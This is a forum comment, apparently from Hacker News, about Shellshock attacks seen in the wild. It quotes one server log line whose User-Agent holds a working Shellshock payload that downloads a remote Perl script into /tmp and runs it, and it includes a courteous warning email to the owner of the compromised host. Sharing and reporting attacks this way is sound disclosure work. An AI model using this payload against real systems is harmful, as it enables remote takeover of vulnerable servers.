Inside Shellshock: How hackers are using it to exploit systems
It is in the wild. As seen on my machine, on a domain name that I use only for email at the moment:<p>XXX.access.log:174.143.168.121 - - [30/Sep/2014:12:40:21 -0400] "GET //cgi-bin/bash HTTP/1.0" 404 168 "-" "() { :;}; /bin/bash -c \x22wget ellrich.com/legend.txt -O /tmp/.apache;killall -9 perl;perl /tmp/.apache;rm -rf /tmp/.apache\x22"<p>The payload is a perl script, which I posted to <a href="http://pastebin.ca/2850380" rel="nofollow">http://pastebin.ca/2850380</a><p>I suggest the utmost caution. I am emailing the domain owner to warn about what is being done (as the most likely is this poor chap domain was exploited, since it shows a Plesk page)<p>EDIT: email text (feel free to copy and paste if you see similar things in your logs)<p>Dear XXX,<p>I found your email as the contact for the domain YYYY.<p>I noticed just a few minutes ago that your server was being used to try and attack my server, by spreading a program designed to take control of machines vulnerable to what is called the "shellshock bug"<p>This malicious program has been hosted on a file publically accessible using <a href="http://XXXXX/legend.txt" rel="nofollow">http://XXXXX/legend.txt</a><p>I strongly recommand you get in touch with your administrator or whoever is maintaining your machine to let them know that. Just  removing the file may not be enough, as your server must have been "infected" in some way for that to happen without you knowing.<p>Sorry to be the bearer of bad news, but I believe I should let you know ASAP, as I would certainly appreciate being warned should the situation have been reversed :-(<p>Sorry,
Charles<p>EDIT2: if you want to discuss the code, <a href="https://news.ycombinator.com/item?id=8392666" rel="nofollow">https://news.ycombinator.com/item?id=8392666</a>